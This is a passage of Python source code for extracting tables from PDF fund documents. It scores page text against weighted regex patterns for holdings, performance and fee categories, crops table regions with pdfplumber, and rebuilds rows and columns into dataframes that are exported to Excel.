holdings\": {\n\t\t\t\t\t\"weights\": [['\\d',0.9], ['top 10', 0.5], ['top 5', 0.5], ['holding', 0.2]],\n\t\t\t\t\t\"bias\": 0\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"args\": {\n\t\t\t\t\"table\": {\n\t\t\t\t\t\"top_regex\": [\n\t\t\t\t\t\t'holding'\n\t\t\t\t\t],\n\t\t\t\t\t\"search_regex\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'search': 'holding',\n\t\t\t\t\t\t\t'label': 'holdings',\n\t\t\t\t\t\t\t#'search': lambda item:\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"Performance\": {\n\t\t\t\"compare\": {\n\t\t\t\t\"performance\": {\n\t\t\t\t\t\"weights\": [['\\d',0.9], ['month', 0.5], ['benchmark', 0.8], ['net', 0.5], ['fund perform', 0.9]],\n\t\t\t\t\t\"bias\": 0\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"args\": {\n\t\t\t\t\"table\": {\n\t\t\t\t\t\"top_regex\": [\n\t\t\t\t\t\t'performance'\n\t\t\t\t\t],\n\t\t\t\t\t\"search_regex\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'search': 'performance',\n\t\t\t\t\t\t\t'label': 'performance',\n\t\t\t\t\t\t\t#'search': lambda item:\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"FeesCosts_Table\": {\n\t\t\t\"compare\": {\n\t\t\t\t\"fee cost\": {\n\t\t\t\t\t\"weights\": [['\\d',0.9], ['management', 0.5], ['performance', 0.5], ['\\%', 0.1], ['p.a', 0.5], ['type', 0.5]],\n\t\t\t\t\t\"bias\": 0\n\t\t\t\t},\n\t\t\t\t\"management cost\": {\n\t\t\t\t\t\"weights\": [['\\d',0.9], ['management', 0.5], ['performance', 0.5], ['\\%', 0.1], ['p.a', 0.5], ['type', 0.5]],\n\t\t\t\t\t\"bias\": 0\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"args\": {\n\t\t\t\t\"table\": {\n\t\t\t\t\t\"top_regex\": [\n\t\t\t\t\t\t'fee|cost|expense'\n\t\t\t\t\t],\n\t\t\t\t\t\"search_regex\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'search': 'fee|cost|expense',\n\t\t\t\t\t\t\t'label': 'fee_cost_table',\n\t\t\t\t\t\t\t#'search': lambda item:\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t}\n\n\tdiscard_indicators = ['example']\n\n\tsimilarity_data = {}\n\n\tdef __init__(self):\n\n\t\tfor cat_name in self.extraction_params:#compare_values\n\t\t\tself.similarity_data[cat_name] = []\n\n\n\t\treturn\n\n\tdef process_document_data(self):\n\t\tpass\n\n\tdef add_document(self, document):\n\t\t#document.url_string\n\t\t#document.pages_data\n\t\tdocument_obj = {\n\t\t\t#'url': document.url_string,\n\t\t\t#'pages_data': document.pages_data,\n\t\t\t'doc': document,\n\t\t\t'sim_data': {}\n\t\t}\n\t\tself.documents.append(document_obj)\n\t\treturn len(self.documents) - 1\n\t\n\tdef extract_similar_rows(self, init_threshold, doc_idx=0):\n\t\t\"\"\"\n\t\tMain extraction process used by DocHandling.\n\t\tExtracts data using the other processes in this file.\n\t\t\"\"\"\n\n\t\t#for compare_value in self.compare_string_list:\n\t\t#\tself.similarity_data[compare_value] = []\n\n\t\tdocument_data = self.documents[doc_idx]\n\n\t\t# Init catagories for document data\n\t\tfor cat_name in self.extraction_params:#compare_values\n\t\t\tif not cat_name in document_data['sim_data']:\n\t\t\t\tdocument_data['sim_data'][cat_name] = []\n\t\t\n\t\t# Init catagories for document data\n\t\tfor cat_name in self.extraction_params_tables:#compare_values\n\t\t\tif not cat_name in document_data['sim_data']:\n\t\t\t\tdocument_data['sim_data'][cat_name] = []\n\n\t\t# Extract infomation from tables\n\t\tdocument = document_data['doc']\n\t\tfor page_idx, page in enumerate(document.doc_pages):#pages_data\n\t\t\tfor table_idx, table in enumerate(page.tables):#page['tables']\n\n\n\t\t\t\ttable_ext_data = table.ext_data\n\n\t\t\t\t\n\t\t\t\t# Text based on sentence blob and ending-ness\n\t\t\t\ttext_raw = table.text\n\t\t\t\traw_texts = re.split(\"\\.\\\\n|\\. [A-Z0-9]|\\\\n[\\w\\d]\\\\n|\\\\n\\\\n\",text_raw)\n\t\t\t\traw_texts = [re.sub(\"\\\\n[\\w\\d]\\\\n|\\\\n\",' ',x) for x in raw_texts]\n\n\t\t\t\tword_lines = table.word_lines\n\t\t\t\tline_texts = [word_lines[idx]['text'] for idx in word_lines]\n\t\t\t\t#print(line_texts)\n\n\t\t\t\t#print(line_texts)\n\n\t\t\t\t# Look for discard indicaters\n\t\t\t\tdiscard_table = False\n\t\t\t\tfor indicator in self.discard_indicators:\n\t\t\t\t\tif table.text.lower().find(indicator) != -1 or table_ext_data['text_top'].lower().find(indicator) != -1 or table_ext_data['text_bottom'].lower().find(indicator) != -1:\n\t\t\t\t\t\tdiscard_table = True\n\t\t\t\t\t\tbreak\n\n\t\t\t\tif discard_table:\n\t\t\t\t\tcontinue\n\n\t\t\t\t# Run matching for each catagory\n\t\t\t\tfor text_part in raw_texts:\n\t\t\t\t\tfor catagory_name in self.extraction_params:\n\t\t\t\t\t\tcatagory = self.extraction_params[catagory_name]\n\t\t\t\t\t\titem = find_similar(text_part, catagory_name, catagory, True, True)\n\n\t\t\t\t\t\tif not item['cat']:\n\t\t\t\t\t\t\tcontinue\n\n\t\t\t\t\t\t#if \"table\" in self.extraction_params[item['cat']]['args']:\n\t\t\t\t\t\t#\titem[\"table\"] = table\n\t\t\t\t\t\t\n\t\t\t\t\t\tsim_val = item[\"ratio\"]\n\t\t\t\t\t\tif sim_val > init_threshold:\n\t\t\t\t\t\t\tdocument_data['sim_data'][catagory_name].append(item)\n\t\t\t\t# --\n\n\n\t\t\t\t# Table similarity detection\n\t\t\t\t#text_above_table = table.ext_data['text_top']\n\n\t\t\t\ttext_above_table = table.ext_data['text_top']\n\n\n\t\t\t\t# Run matching for each catagory\n\t\t\t\tfor text_part in [text_above_table, text_raw]:\n\t\t\t\t\tfor catagory_name in self.extraction_params_tables:\n\t\t\t\t\t\tcatagory = self.extraction_params_tables[catagory_name]\n\t\t\t\t\t\titem = find_similar(text_part, catagory_name, catagory, True, True)\n\n\t\t\t\t\t\tif not item['cat']:\n\t\t\t\t\t\t\tcontinue\n\n\t\t\t\t\t\tif \"table\" in self.extraction_params_tables[item['cat']]['args']:\n\t\t\t\t\t\t\titem[\"table\"] = table\n\t\t\t\t\t\t\n\t\t\t\t\t\tsim_val = item[\"ratio\"]\n\t\t\t\t\t\tif sim_val > init_threshold:\n\t\t\t\t\t\t\tdocument_data['sim_data'][catagory_name].append(item)\n\t\t\t\t# --\n\t\t# --\n\n\t\t# Get sub-tables\n\t\tfor cat_name in self.extraction_params_tables:\n\t\t\tcat = self.extraction_params_tables[cat_name]\n\t\t\tif \"table\" in cat[\"args\"]:\n\t\t\t\ttable_args = cat[\"args\"][\"table\"]\n\n\t\t\t\titem_list = document_data['sim_data'][cat_name]\n\t\t\t\t#item_list = sorted(item_list, key=lambda item: item[\"ratio\"], reverse=True)\n\n\t\t\t\titem_table_list = []\n\n\t\t\t\tfor idx, item in enumerate(item_list):\n\t\t\t\t\ttable = item[\"table\"]\n\n\t\t\t\t\tsearch_regex = table_args[\"search_regex\"]\n\n\t\t\t\t\ttable.search_for_subtables(search_regex)\n\t\t\t\t\ttable.construct_subtables(3)\n\t\t\t\t\ttable.format_subtables()\n\n\t\t\t\t\tdf_list = table.create_subtable_dataframes()\n\t\t\t\t\titem[\"table\"] = {}\n\t\t\t\t\tfor df_ in df_list:\n\t\t\t\t\t\tdf_dict = df_.to_json(orient='index')\n\t\t\t\t\t\tif not df_dict:\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tdf_dict = json.loads(df_dict)\n\t\t\t\t\t\tif len(df_dict) < 2:\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\titem[\"table\"] = df_dict\n\t\t\t\t\t\titem[\"df\"] = df_\n\t\t\t\t\t\titem[\"ratio\"] += 5\n\t\t\t\t\t\titem_list[idx] = item\n\t\t\t\t\t\titem_table_list.append(item)\n\t\t\t\t\t\tbreak\n\t\t\t\t\n\t\t\t\t#item_list = sorted(item_list, key=lambda item: item[\"ratio\"], reverse=True)\n\n\t\t\t\tdocument_data['sim_data'][cat_name] = item_table_list\n\n\n\n\t\treturn\n\t\n\n\n\tdef data_to_csv(self, doc_idx):\n\n\t\t#wb = pyxl.Workbook()\n\t\t#ws = wb.active\n\n\t\twriter = pd.ExcelWriter('sim_values.xlsx',engine='xlsxwriter')\n\t\twb=writer.book\n\n\t\tsimilarity_data = self.documents[doc_idx]['sim_data']\n\t\t\n\t\tfor sim_type in similarity_data:\n\t\t\tsim_values = similarity_data[sim_type]\n\t\t\tsimilarity_data[sim_type] = sorted(sim_values, key=lambda item: item[\"ratio\"], reverse=True)\n\n\t\t\tsim_values_tables = []\n\n\t\t\tfor item in sim_values:\n\t\t\t\tif \"df\" in item:\n\t\t\t\t\tsim_values_tables.append(item)\n\n\n\t\t\tsubed_name = re.sub(\"[^\\w\\d_]+\",'',sim_type)\n\t\t\tws_name = f\"{subed_name}\"\n\n\t\t\tws=wb.add_worksheet(f\"{ws_name}\")\n\t\t\twriter.sheets[f\"{ws_name}\"] = ws\n\n\t\t\tshape_count = [0,0]\n\t\t\tfor item in sim_values_tables:\n\t\t\t\ttable_shape = item[\"df\"].shape\n\t\t\t\titem[\"df\"].to_excel(writer,sheet_name=f\"{ws_name}\",startrow=shape_count[0] , startcol=shape_count[1])\n\n\t\t\t\tshape_count[0] += table_shape[0]\n\t\t\t\t#shape_count[1] += table_shape[1]\n\n\n\t\t\t#ws = wb.create_sheet(f\"sim_vals_{sim_type}\")\n\t\t\t#ws.title = f\"sim_vals_{sim_type}\"\n\t\twriter.save()\n\t\treturn\n\n\t\n\tdef sort_as_most_similar(self, doc_idx):\n\t\t\"\"\"\n\t\t{\n\t\t\t\"ratio\": 0,\n\t\t\t\"cat\": \"\", catagory (similarity catagory)\n\t\t\t\"str\": \"\", string extracted\n\t\t\t\"match\": \"\", the regex string that matched for that catagory\n\t\t}\n\t\t\"\"\"\n\n\t\tsimilarity_data = self.documents[doc_idx]['sim_data']\n\t\t\n\t\tfor sim_type in similarity_data:\n\t\t\tsim_values = similarity_data[sim_type]\n\t\t\tsimilarity_data[sim_type] = sorted(sim_values, key=lambda item: item[\"ratio\"], reverse=True)\n\n\t\t\tsim_values_no_tables = []\n\t\t\tfor item in similarity_data[sim_type]:\n\t\t\t\tif not \"table\" in sim_values_no_tables:\n\t\t\t\t\tsim_values_no_tables.append(item)\n\n\t\t\tsim_values_no_tables = sorted(sim_values_no_tables, key=lambda item: item[\"ratio\"], reverse=True)\n\n\t\t\tprint(f\"\\n -- {sim_type} -- \")\n\t\t\t[print(\"- Ratio: \", x[\"ratio\"], \" - Text: \", x[\"str\"][:min(len(x[\"str\"]), 70)]) for x in sim_values_no_tables]\n\n\t\t\n\t\treturn similarity_data\n\n# --\n\n\nclass DocPage:\n\t\"\"\"\n\tThis represents a page\n\t-- Properties --\n\t- tables (list - Table(class)) - List of tables detected on this page\n\t- page_number (int) - Page Number\n\t- test (string) - Page test.\n\t- local_dpi (int) - dpi of the pdf plumber extraction (pdf plumber insists (: ).\n\t- global_dpi (int) - dpi that the page is scaled too.\n\t- save_table_images (bool) - save tables to file, used for testing/demonstation.\n\t\"\"\"\n\n\tdef __init__(self, page_, page_number, page_tables):\n\n\t\tself.page_ = page_\n\n\t\tself.tables = []\n\n\t\tself.nn_tables = page_tables\n\t\tself.page_number = page_number\n\n\t\tself.text = ''\n\n\t\t# This is the pixel resolution, pdfplumber uses 72\n\t\tself.local_dpi = 72\n\t\t# If you change this, go look at the nn_extraction and change the dpi there as well\n\t\tself.global_dpi = 200\n\n\t\tself.save_table_images = False\n\n\t\treturn\n\t\n\t\n\tdef extract_data(self):\n\t\t\"\"\"\n\t\tExtract data from the page, this involves using the detection coords from the nn to crop sections of the page for tables.\n\t\tAreas are cropped and tables objects created, for each table both the data in the table and data around the table is collected.\n\t\t\"\"\"\n\n\t\tself.text = self.page_.extract_text(x_tolerance=1, y_tolerance=1)\n\n\t\t#print(\"\\n\\n -- PAGE WIDTH: \", self.page_.width)\n\n\t\t#for nn_table in self.nn_tables:\n\t\ttable_areas = self.nn_tables['table_areas']#nn_table\n\t\tfor tbl_idx, table_area in enumerate(table_areas):\n\t\t\tbbox = table_area['bbox']\n\n\t\t\tpadding_table = 0\n\t\t\txy1 = (int(bbox[0] - padding_table),int(bbox[1]) - padding_table)\n\t\t\txy2 = (int(bbox[2] + padding_table),int(bbox[3]) + padding_table)\n\n\t\t\tdpi_ratio = self.local_dpi / self.global_dpi\n\n\t\t\txy1 = (int(xy1[0] * dpi_ratio),int(xy1[1] * dpi_ratio))\n\t\t\txy2 = (int(xy2[0] * dpi_ratio),int(xy2[1] * dpi_ratio))\n\n\t\t\txy1 = (min(max(int(xy1[0]),0),int(self.page_.width)),min(max(int(xy1[1]),0),int(self.page_.height)))\n\t\t\txy2 = (min(max(int(xy2[0]),0),int(self.page_.width)),min(max(int(xy2[1]),0),int(self.page_.height)))\n\n\t\t\tcropped_bbox = (xy1[0],xy1[1],xy2[0],xy2[1])\n\t\t\t# Get page table crop\n\t\t\tcropped_table = self.page_.crop(cropped_bbox, relative=False)\n\n\t\t\tif self.save_table_images:\n\t\t\t\tprint()\n\t\t\t\tcropped_table.to_image(resolution=200).save(f\"nn_data/{self.page_number}_table_{tbl_idx}.png\", format=\"PNG\")\n\t\t\t\n\t\t\tnew_table = self.add_table(cropped_bbox, cropped_table)\n\n\t\t\tnew_table.extract_words()\n\n\t\t\ttable_size = (xy2[0] - xy1[0], xy2[1] - xy1[1])\n\t\t\tnew_table.size = table_size\n\n\t\t\tpadding_horizontal = int(table_size[0] * 0.25)\n\t\t\tpadding_vertical = int(table_size[1] * 0.25)\n\n\t\t\taround_top = (xy1[0] - padding_horizontal, xy1[1] - padding_vertical, xy2[0] + padding_horizontal, xy1[1])\n\t\t\taround_bottom = (xy1[0] - padding_horizontal, xy2[1], xy2[0] + padding_horizontal, xy2[1] + padding_vertical)\n\n\t\t\taround_top = (min(max(around_top[0],0),int(self.page_.width)), min(max(around_top[1],0),int(self.page_.height)), min(max(around_top[2],0),int(self.page_.width)), min(max(around_top[3],0),int(self.page_.height)))\n\t\t\taround_bottom = (min(max(around_bottom[0],0),int(self.page_.width)), min(max(around_bottom[1],0),int(self.page_.height)), min(max(around_bottom[2],0),int(self.page_.width)), min(max(around_bottom[3],0),int(self.page_.height)))\n\n\t\t\ttable_ext_data = {\n\t\t\t\t'text_top': '',\n\t\t\t\t'text_bottom': '',\n\t\t\t}\n\t\t\t#print('---\\n',around_top)\n\t\t\t#around_top = (around_top[0] + 1, around_top[1] - 1, around_top[2] - 1, around_top[3] + 1)\n\t\t\t#print(around_top,'\\n---')\n\n\t\t\t#print(around_top[1] - around_top[3] > 1)\n\t\t\t# NOTE: I changed these around before\n\t\t\ttry:\n\t\t\t\tif around_top[2] - around_top[0] > 1 and around_top[3] - around_top[1] > 1:\n\t\t\t\t\ttable_top = self.page_.crop((around_top[0],around_top[1],around_top[2],around_top[3]), relative=False)\n\t\t\t\t\ttable_ext_data['text_top'] = table_top.extract_text(x_tolerance=1, y_tolerance=1)\n\t\t\t\t\tif table_ext_data['text_top'] == None:\n\t\t\t\t\t\ttable_ext_data['text_top'] = ''\n\t\t\t\t\t#table_top.to_image(resolution=200).save(\"table_top.png\", format=\"PNG\")\n\t\t\t\tif around_bottom[2] - around_bottom[0] > 1 and around_bottom[3] - around_bottom[1] > 1:#around_bottom[2] - around_bottom[0] > 1 and around_bottom[3] - around_bottom[1] > 1\n\t\t\t\t\ttable_bottom = self.page_.crop((around_bottom[0],around_bottom[1],around_bottom[2],around_bottom[3]), relative=False)\n\t\t\t\t\ttable_ext_data['text_bottom'] = table_bottom.extract_text(x_tolerance=1, y_tolerance=1)\n\t\t\t\t\tif table_ext_data['text_bottom'] == None:\n\t\t\t\t\t\ttable_ext_data['text_bottom'] = ''\n\t\t\t\t\t#table_bottom.to_image(resolution=200).save(\"table_bottom.png\", format=\"PNG\")\n\t\t\texcept:\n\t\t\t\tprint('-- FAILED CROP -- ERROR: 999358')\n\t\t\t\n\t\t\t#print(table_ext_data)\n\t\t\tnew_table.ext_data = table_ext_data\n\n\t\t\tself.tables.append(new_table)\n\n\n\t\treturn\n\t\n\n\tdef add_table(self, bbox, page_crop):\n\t\tnew_table = Table(page_crop, self.page_number, bbox)\n\t\treturn new_table\n\n\nclass Table:\n\t\"\"\"\n\tThis represents a table within a page.\n\t-- Properties --\n\t- page_number (int) - Page Number\n\t- bbox (tuple of number) (4) - The coordinates of the bounding box for this table\n\t- page_ (DocPage(class)) - The page that this table belongs too.\n\t- word_lines (dict(int): dict(dict)) - A dict of complex dicts that describe data reperesenting lines of word objects within the table. The key (int) is the approximate\n\ty-position of the line.\n\t- table_collections (list(dicts)) - A list of dicts with data discribing tables.\n\t- text (string) - Raw string text in the table (as opposed to the word character text).\n\t\"\"\"\n\n\tdef __init__(self, page_, page_number, bbox = []):\n\t\t\"\"\"\n\t\tVariables:\n\t\t\"\"\"\n\n\t\tself.page_number = page_number\n\n\t\tself.bbox = bbox\n\n\t\tself.size = 0\n\n\t\tself.page_ = page_\n\n\t\tself.word_lines = {}\n\t\tself.table_collections = []\n\n\t\tself.ext_data = {}\n\n\t\tself.text = ''\n\n\t\treturn\n\t\n\tdef extract_words(self):\n\t\t#if not page_:\n\t\t#\tpage_ = self.page_\n\t\t# Extract words\n\t\tpage_ = self.page_\n\n\n\t\tself.text = page_.extract_text(x_tolerance=1, y_tolerance=1)\n\t\tif not self.text:\n\t\t\tself.text = ''\n\n\n\t\twords = page_.extract_words(x_tolerance=1, y_tolerance=1, keep_blank_chars=True)\n\n\t\t# Create lines from words based on vertical positioning [1px dif]\n\t\tfor word_obj in words:\n\t\t\tbottom_pos = int(word_obj['bottom'])\n\t\t\tpos_range = [bottom_pos, bottom_pos - 1, bottom_pos + 1]\n\t\t\t\n\t\t\tcurrent_word_line = None\n\t\t\tfor pos in pos_range:\n\t\t\t\tif pos in self.word_lines:\n\t\t\t\t\tcurrent_word_line = self.word_lines[pos]\n\t\t\t\t\tbreak\n\t\t\tif not current_word_line:\n\t\t\t\tself.word_lines[bottom_pos] = {\n\t\t\t\t\t'line_rect': {},\n\t\t\t\t\t'rects': [],\n\t\t\t\t\t'text': '',\n\t\t\t\t\t'search_found': None,\n\t\t\t\t\t'word_groups': [],\n\t\t\t\t}\n\t\t\t\tcurrent_word_line = self.word_lines[bottom_pos]\n\t\t\t# --\n\t\t\tcurrent_word_line['rects'].append(word_obj)\n\t\t# --\n\t\tword_line_rects = []\n\t\tfor pos in self.word_lines:\n\t\t\t\n\t\t\tword_rects = self.word_lines[pos]['rects']\n\t\t\tword_rects = sorted(word_rects, key=lambda word: word[\"x0\"], reverse=False)\n\t\t\t\n\t\t\tline_text = ''\n\t\t\tfor word_rect in word_rects:\n\t\t\t\tline_text += word_rect['text'] + ' '\n\t\t\t\n\t\t\tself.word_lines[pos]['text'] = line_text\n\t\t\tself.word_lines[pos]['rects'] = word_rects\n\t\t\t\n\t\t\t# Rects stats\n\t\t\tfor rect in word_rects:\n\t\t\t\tx0 = int(rect['x0'])\n\t\t\t\tx1 = int(rect['x1'])\n\t\t\t\trect['x_mid'] = (x0 + x1) / 2\n\t\t\t\n\t\t\t\n\t\t\t#word_line = self.word_lines[pos]\n\t\t\t\n\t\t\tline_rect = {\n\t\t\t\t'x0': word_rects[0]['x0'],\n\t\t\t\t'x1': word_rects[-1]['x1'],\n\n\t\t\t\t'x_mid': (word_rects[0]['x0'] + word_rects[-1]['x1']) / 2,\n\t\t\t\t\n\t\t\t\t'width': word_rects[0]['x0'] - word_rects[-1]['x1'],\n\t\t\t\t'height': word_rects[0]['top'] - word_rects[-1]['bottom'],\n\t\t\t\t\n\t\t\t\t'top': word_rects[0]['top'],\n\t\t\t\t'bottom': word_rects[0]['bottom']\n\t\t\t}\n\t\t\tself.word_lines[pos]['line_rect'] = line_rect\n\t\t\tword_line_rects.append(line_rect)\n\t\t# --\n\n\t\t# Set line indecies\n\t\tfor line_idx_name in self.word_lines:\n\t\t\tword_line = self.word_lines[line_idx_name]\n\t\t\tword_line['idx'] = line_idx_name\n\t\t# --\n\n\n\tdef search_for_subtables(self, search_regexs):\n\t\t# Search for potential subtables with regex\n\t\tfor pos in self.word_lines:\n\t\t\tword_line = self.word_lines[pos]\n\t\t\tfound = False\n\t\t\tfor search_regex in search_regexs:\n\t\t\t\t#found_idx = word_line['text'].lower().find(search_word)\n\t\t\t\t#if found_idx != -1:\n\t\t\t\tfound_idx = re.search(search_regex['search'], word_line['text'].lower())#.find(search_word)\n\t\t\t\tif found_idx != None:\n\t\t\t\t\tword_line['search_found'] = search_regex['label']\n\t\t\t\t\tfound = True\n\t\t\t\t\tbreak\n\t\t\t# --\n\t\t\tif not found:\n\t\t\t\tcontinue\n\t\t\t# --\n\t\t\t#print('\\n -- FOUND -- \\n')\n\t\t# --\n\t\treturn\n\n\n\tdef construct_subtables(self, line_leniency=2, min_lines=2):# TODO: Add args and have args for discard ect...\n\n\t\t'''\n\t\t-- Input --\n\t\t- line_leniency (int) - The number of lines the search will allow to not find a match before capping the table off, if it finds a match then the count is reset.\n\t\t- min_lines (int) - The minimum number of lines that a table may consist of.\n\n\t\tThis function will search within the table for lines of words that would indicate the structure of the table.\n\t\t'''\n\n\n\t\tline_indecies = list(self.word_lines.keys())\n\t\tline_indecies = sorted(line_indecies, reverse=False)\n\n\t\ttable_line_rects = []\n\t\tself.table_collections = []\n\n\t\talready_in_table = {}\n\t\t\n\t\tfor pos in self.word_lines:\n\t\t\tword_line = self.word_lines[pos]\n\n\t\t\t# If not found || already in a table\n\t\t\tif not word_line['search_found'] or pos in already_in_table:\n\t\t\t\tcontinue\n\t\t\t#print(f'\\n - Constructing table for {word_line[\"search_found\"]}')\n\t\t\t\n\t\t\ttable_lines = []\n\n\t\t\tline_idx = line_indecies.index(pos)\n\t\t\ttable_lines.append(self.word_lines[pos])\n\t\t\t#table_line_rects.append(self.word_lines[pos]['line_rect'])\n\t\t\t\n\t\t\tn = len(line_indecies) - 1\n\t\t\tcount = 1\n\t\t\tlast_idx = line_idx + 1\n\t\t\tlast_line = self.word_lines[pos]\n\t\t\textra_lines = 0\n\t\t\tlast_line_failed = False\n\t\t\tlast_line_failed_idx = 0\n\t\t\twhile last_idx < n:\n\t\t\t\tcount += 1\n\t\t\t\tline_pos = line_indecies[last_idx]\n\t\t\t\tnext_line = self.word_lines[line_pos]\n\t\t\t\t\n\t\t\t\t# If last line inside next line\n\t\t\t\tif next_line['line_rect']['top'] < last_line['line_rect']['bottom']:\n\t\t\t\t\t#print(last_line['line_rect']['top'], next_line['line_rect']['bottom'])\n\t\t\t\t\ttable_lines.append(next_line)\n\t\t\t\t\t#table_line_rects.append(next_line['line_rect'])\n\t\t\t\t\t\n\t\t\t\t\tlast_line = next_line\n\t\t\t\t\tlast_idx += 1\n\t\t\t\t\t\n\t\t\t\t\tcontinue\n\t\t\t\t# --\n\t\t\t\t\n\t\t\t\tline_text = next_line['text']\n\t\t\t\t\n\t\t\t\tpatterns = []\n\t\t\t\tpattern = '[\\d]+'\n\t\t\t\t\n\t\t\t\tfound_re = re.search(pattern,line_text)\n\t\t\t\tif not found_re:\n\t\t\t\t\textra_lines += 1\n\t\t\t\t\tlast_line_failed = True\n\t\t\t\t\tlast_line_failed_idx = max(1, len(table_lines) - 1)\n\t\t\t\t\tif extra_lines > line_leniency:\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tlast_line_failed = False\n\t\t\t\t# --\n\t\t\t\t\n\t\t\t\ttable_lines.append(next_line)\n\t\t\t\t#table_line_rects.append(next_line['line_rect'])\n\t\t\t\t\n\t\t\t\tlast_line = next_line\n\t\t\t\tlast_idx += 1\n\t\t\t# --\n\t\t\t\n\t\t\t# If failed cut back to prvious\n\t\t\tif last_line_failed:\n\t\t\t\ttable_lines = table_lines[:last_line_failed_idx - 1]\n\t\t\t\n\t\t\t# If table lines does not reach the minimum\n\t\t\tif len(table_lines) < min_lines:\n\t\t\t\t#print(' FAILED - Not enough lines')\n\t\t\t\tcontinue\n\n\t\t\ttable_rect = {\n\t\t\t\t'x0': table_lines[0]['line_rect']['x0'],\n\t\t\t\t'x1': table_lines[-1]['line_rect']['x1'],\n\n\t\t\t\t'x_mid': (table_lines[0]['line_rect']['x0'] + table_lines[-1]['line_rect']['x1']) / 2,\n\t\t\t\t\n\t\t\t\t'width': table_lines[0]['line_rect']['x0'] - table_lines[-1]['line_rect']['x1'],\n\t\t\t\t'height': table_lines[0]['line_rect']['top'] - table_lines[-1]['line_rect']['bottom'],\n\t\t\t\t\n\t\t\t\t'top': table_lines[0]['line_rect']['top'],\n\t\t\t\t'bottom': table_lines[0]['line_rect']['bottom']\n\t\t\t}\n\t\t\t\n\t\t\ttable_collection_obj = {\n\t\t\t\t'table_lines': table_lines,\n\t\t\t\t'table_columns': [],\n\t\t\t\t'table_rect': table_rect,\n\t\t\t}\n\n\t\t\tself.table_collections.append(table_collection_obj)#table_lines\n\n\t\t\t# Do not make tables for tables that have already been added to tables\n\t\t\tfor table_line in table_lines:\n\t\t\t\talready_in_table[table_line['idx']] = True\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tfor x in table_lines:\n\t\t\t\ttable_line_rects.append(x['line_rect'])\n\t\t\t# --\n\t\t\t\n\t\t\t# --\n\t\t# --\n\t\treturn\n\n\n\tdef format_subtables(self):\n\t\t\"\"\"\n\t\tAfter 'construct_subtables' the detected table lines will then be processed here.\n\t\tThis function will use the bounding boxes and position of:\n\t\t- lines of words\n\t\t- words within the lines of words\n\t\t- character positioning mean and distribution within the line of words.\n\t\tIt will use these to try and find the rows and columns of a table.\n\t\tTo better understand this process, check the \"new_table_testing.py\" file, it will have a variety of infomation.\n\t\t\"\"\"\n\t\tfor table_collection in self.table_collections:\n\t\t\t#print('\\n - New Table/collection - \\n')\n\n\t\t\t\"\"\"\n\t\t\t-- Create and seperate word group columns --\n\t\t\t\"\"\"\n\n\t\t\ttable_line_groups = []\n\t\t\tfor table_line in table_collection['table_lines']:\n\t\t\t\trects = table_line['rects']\n\n\t\t\t\trects_txt = [x['text'] for x in rects]\n\t\t\t\trect_sides_left = [x['x0'] for x in rects]\n\t\t\t\trect_sides_right = [x['x1'] for x in rects]\n\t\t\t\trect_lengths = [x['x1'] - x['x0'] for x in rects]\n\n\t\t\t\trect_dists = []\n\t\t\t\tbefore_rect = rects[0]\n\t\t\t\tfor idx in range(1, len(rects)):\n\t\t\t\t\tcur_rect = rects[idx]\n\t\t\t\t\tcur_rect['dist'] = math.inf\n\n\t\t\t\t\tdistance = abs(cur_rect['x0'] - before_rect['x1'])\n\t\t\t\t\tbefore_rect['dist'] = distance\n\n\t\t\t\t\trect_dists.append(distance)\n\t\t\t\t\tbefore_rect = cur_rect\n\n\t\t\t\t#print(rect_dists)\n\n\t\t\t\tif len(rect_dists) == 0:\n\t\t\t\t\trect_dists = [0]\n\n\t\t\t\taverage_dist = sum(rect_dists) / max(1,len(rect_dists))\n\t\t\t\tdist_modes = sci_stats.mode(rect_dists)\n\t\t\t\tdist_mode = list(dist_modes)[0]\n\t\t\t\tmode_threshold = int(math.ceil(dist_mode) * 1.25)\n\t\t\t\t#print(f'Mode thresh: {mode_threshold} - Avg dist: {average_dist}')\n\n\t\t\t\tword_groups = []#rect_groups\n\t\t\t\tcur_group = []\n\t\t\t\tcur_text = ''\n\t\t\t\tfor idx in range(len(rects)):\n\t\t\t\t\tcur_rect = rects[idx]\n\t\t\t\t\t#print(f\"- {cur_rect['text']} - {cur_rect['dist']} \")\n\t\t\t\t\thalf_avg = False\n\t\t\t\t\tsmall_value = False\n\n\t\t\t\t\tif 'dist' in cur_rect:\n\t\t\t\t\t\thalf_avg = cur_rect['dist'] < (average_dist / 2) + min(2, mode_threshold)\n\t\t\t\t\t\tsmall_value = cur_rect['dist'] < min(6, mode_threshold)\n\t\t\t\t\tif half_avg and small_value:\n\t\t\t\t\t\tcur_text += cur_rect['text'] + ' '\n\t\t\t\t\t\tcur_group.append(cur_rect)\n\t\t\t\t\telse:\n\t\t\t\t\t\t#if len(cur_group) == 0:\n\t\t\t\t\t\t# continue\n\t\t\t\t\t\tcur_text += cur_rect['text'] + ' '\n\t\t\t\t\t\tcur_group.append(cur_rect)\n\n\t\t\t\t\t\tgroup_rect = {\n\t\t\t\t\t\t\t'x0': cur_group[0]['x0'],\n\t\t\t\t\t\t\t'x1': cur_group[-1]['x1'],\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t'width': cur_group[0]['x0'] - cur_group[-1]['x1'],\n\t\t\t\t\t\t\t'height': cur_group[0]['top'] - cur_group[-1]['bottom'],\n\n\t\t\t\t\t\t\t'x_mid': (cur_group[0]['x0'] + cur_group[-1]['x1']) / 2,\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t'top': cur_group[0]['top'],\n\t\t\t\t\t\t\t'bottom': cur_group[0]['bottom']\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tgroup_obj = {\n\t\t\t\t\t\t\t'rects': cur_group,\n\t\t\t\t\t\t\t'text': 